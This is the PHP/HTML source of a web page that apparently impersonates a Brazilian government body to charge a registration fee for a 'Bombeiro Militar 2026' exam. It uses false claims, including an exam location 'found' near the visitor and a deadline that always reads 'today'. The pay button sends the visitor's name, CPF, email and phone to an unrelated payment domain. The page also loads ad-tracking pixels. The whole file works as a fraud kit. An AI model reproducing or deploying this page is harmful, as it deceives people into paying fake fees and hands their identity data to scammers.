<?php
session_start();

// Verifica se os dados da inscrição existem na sessão

if (!isset($_SESSION['dados_inscricao']) || empty($_SESSION['dados_inscricao']['cpf'])) {
    echo '<script>
    // Tenta pegar os dados do localStorage (ajuste a chave conforme necessário)
    var dados = localStorage.getItem("lead");
    if (dados) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "salvar_sessao.php", false); // síncrono para garantir execução antes do redirect
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.send("dados=" + encodeURIComponent(dados));
        if (xhr.status === 200 && JSON.parse(xhr.responseText).status === "ok") {
            window.location.reload();
        } else {
            window.location.href = "/cep/";
        }
    } else {
        window.location.href = "/cep/";
    }
    </script>';
    exit;
}

// Dados da inscrição
$dados = $_SESSION['dados_inscricao'];
?>
<html><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Polícia Federal - Taxa de Inscrição</title>

    <!-- Preload fonts -->
    <link rel="preload" href="/static/fonts/rawline-400.woff2" as="font" type="font/woff2" crossorigin="">
    <link rel="preload" href="/static/fonts/rawline-700.woff2" as="font" type="font/woff2" crossorigin="">

    <!-- Styles -->
    <link href="/static/css/rawline.css" rel="stylesheet">
    <script src="https://cdn.tailwindcss.com"></script><style type="text/css" id="operaUserStyle"></style>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet">
    

    <style>
        body {
            font-family: 'rawline', sans-serif;
            -webkit-font-smoothing: antialiased;
            -moz-osx-font-smoothing: grayscale;
        }
        @keyframes pulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.05); }
        }
        .animate-pulse {
            animation: pulse 2s infinite;
        }
    </style>
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    colors: {
                        'prf-yellow': '#003DA5',  // Azul do PRF
                        'prf-blue': '#FEEF37',    // Amarelo do PRF
                        'correios-blue': '#1351b4',
                        'bb-green': '#1351b4',
                    }
                }
            }
        }
    </script>
    
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '600613646269181');
fbq('track', 'PageView');
</script>

<!-- End Meta Pixel Code -->

<script>
  window.pixelId = "67f05f83ac351c55d5be29e2";
  var a = document.createElement("script");
  a.setAttribute("async", "");
  a.setAttribute("defer", "");
  a.setAttribute("src", "https://cdn.utmify.com.br/scripts/pixel/pixel.js");
  document.head.appendChild(a);
</script>

<script
  src="https://cdn.utmify.com.br/scripts/utms/latest.js"
  data-utmify-prevent-subids
  async
  defer
></script>
    
</head>
<body class="bg-gray-50 min-h-screen flex flex-col">
    
    <noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=600613646269181&ev=PageView&noscript=1"
/></noscript>
    
    <div class="bg-correios-yellow py-4 shadow-sm">
            <div class="container mx-auto px-4">
                <div class="flex flex-col items-center text-center">
                    <img src="images/bpm.png" alt="Logo dos Correios" class="h-12 mb-2">
                    <div>
                        <p class="text-correios-blue text-[16px] leading-tight font-bold tracking-wide">BOMBEIRO MILITAR 2026
                    </p>
                        <p class="text-correios-blue text-[12px] leading-tight tracking-wide">SELEÇÃO EXTERNA PARA MÚLTIPLOS CARGOS
                    </p>
                    </div>
                </div>
            </div>
        </div>

    <!-- Blue bar -->
    <div class="bg-prf-yellow py-3 shadow-md">
        <div class="container mx-auto px-4 flex items-center">
            <div class="grid grid-cols-2 gap-0.5 mr-3 drop-shadow-sm">
                <div class="w-2 h-2 bg-white"></div>
                <div class="w-2 h-2 bg-white"></div>
                <div class="w-2 h-2 bg-white"></div>
                <div class="w-2 h-2 bg-white"></div>
            </div>
            <span class="text-white text-xl tracking-wide drop-shadow-sm">TAXA DE INSCRIÇÃO</span>
        </div>
    </div>

    <!-- Main Content -->
    <div class="container mx-auto px-4 py-8 flex-grow">
        <div class="max-w-2xl mx-auto">
            <div class="bg-white rounded-lg shadow-md p-6">
                <div class="mb-6">
                    <div class="bg-green-50 border border-green-200 rounded-lg p-4 mb-6">
                            <div class="flex items-start">
                                <i class="fas fa-exclamation-circle text-green-600 text-xl mt-0.5 mr-3"></i>
                                <div>
                                    <p class="font-bold text-green-800 mb-2">AVISO IMPORTANTE</p>
                                    <p class="text-green-800">Para finalizar sua inscrição no Concurso BOMBEIRO MILITAR 2026, é necessário efetuar o pagamento da taxa de inscrição.
                                </p>
                                </div>
                            </div>
                        </div>

                    <div class="space-y-4">
                        <div class="p-4 bg-gray-50 rounded-lg">
                            <p class="font-medium text-gray-700">Confirmação dos Dados:</p>
                            <p class="text-gray-600 mt-2">Nome: <span class="font-semibold"><?php echo htmlspecialchars($dados['nome']); ?></span></p>
                            <p class="text-gray-600">CPF: <span class="font-semibold"><?php echo preg_replace('/(\d{3})(\d{3})(\d{3})(\d{2})/', '$1.$2.$3-$4', $dados['cpf']); ?></span></p>
                            <p class="text-gray-600">Email: <span class="font-semibold"><?php echo htmlspecialchars($dados['email']); ?></span></p>
                            <p class="text-gray-600">Telefone: <span class="font-semibold"><?php echo htmlspecialchars($dados['telefone']); ?></span></p>
                        </div>

                        <div class="bg-green-50 border border-green-200 rounded-lg p-4">
                                <div class="flex items-start">
                                    <i class="fas fa-map-marker-alt text-green-600 text-xl mt-0.5 mr-3"></i>
                                    <div>
                                        <p class="font-bold text-green-800">LOCAL DE PROVA ENCONTRADO!</p>
                                        <p class="text-green-700">Foi encontrado 1 local de prova a 14km de distância da sua localização.</p>
                                        <p class="text-green-700 mt-2">
                                            <i class="fas fa-info-circle mr-1"></i>
                                            Após a confirmação do pagamento da taxa, o endereço completo do local de prova e a data serão enviados para seu email e SMS.
                                    
                                        </p>
                                    </div>
                                </div>
                            </div>

                        <div class="bg-red-50 border border-red-200 rounded-lg p-4">
                            <div class="flex items-start">
                                <i class="fas fa-clock text-red-600 text-xl mt-0.5 mr-3"></i>
                                <div>
                                      <div id="prazo-final">
        <p class="font-bold text-red-800">PRAZO FINAL</p>
        <p class="text-red-700">O prazo para pagamento da taxa de inscrição se encerra <span id="data-atual" class="font-bold">hoje, 10/02/2026</span>.</p>
    </div>

    <script>
        // Função para formatar a data no formato dd/MM/yyyy
        function formatarData(data) {
            const dia = String(data.getDate()).padStart(2, '0');
            const mes = String(data.getMonth() + 1).padStart(2, '0'); // Mês começa do 0
            const ano = data.getFullYear();
            return `${dia}/${mes}/${ano}`;
        }

        // Atualiza a data no elemento com id "data-atual"
        function atualizarData() {
            const dataAtual = new Date();
            const dataFormatada = formatarData(dataAtual);
            document.getElementById('data-atual').textContent = `hoje, ${dataFormatada}`;
        }

        // Atualiza a data quando a página carrega
        atualizarData();

        // Opcional: Atualiza a data a cada 24 horas (86400000 milissegundos)
        setInterval(atualizarData, 86400000);
    </script>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <a href="#" onclick="redirecionarPagamento()" class="w-full bg-prf-yellow hover:bg-opacity-90 text-white font-bold py-4 px-6 rounded-md flex items-center justify-center space-x-2 shadow-md hover:shadow-lg transition duration-200 animate-pulse">
                    <span class="text-lg">PAGAR TAXA DE INSCRIÇÃO</span>
                    <i class="fas fa-lock ml-2"></i>
                </a>

                <script>
                    function redirecionarPagamento() {
                        const nomeCompleto = "<?php echo htmlspecialchars($dados['nome']); ?>";
                        const email = "<?php echo htmlspecialchars($dados['email']); ?>";
                        const telefone = "<?php echo htmlspecialchars($dados['telefone']); ?>";
                        const cpf = "<?php echo $dados['cpf']; ?>";

                        const url = `https://pay.transacao-verificado.sbs/lqv130MRBXbZxbj?name=${encodeURIComponent(nomeCompleto)}&email=${encodeURIComponent(email)}&telephone=${encodeURIComponent(telefone)}&document=${encodeURIComponent(cpf)}`;
                        window.location.href = url;
                    }
                </script>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <div class="bg-bb-white text-bb-green text-center py-4 mt-auto shadow-inner">
            <p class="text-sm font-medium">© BOMBEIRO MILITAR. Todos os direitos reservados.</p>
            <p class="text-sm mt-1">Central de Atendimento - 0800 725 0100</p>
        </div>

</body></html>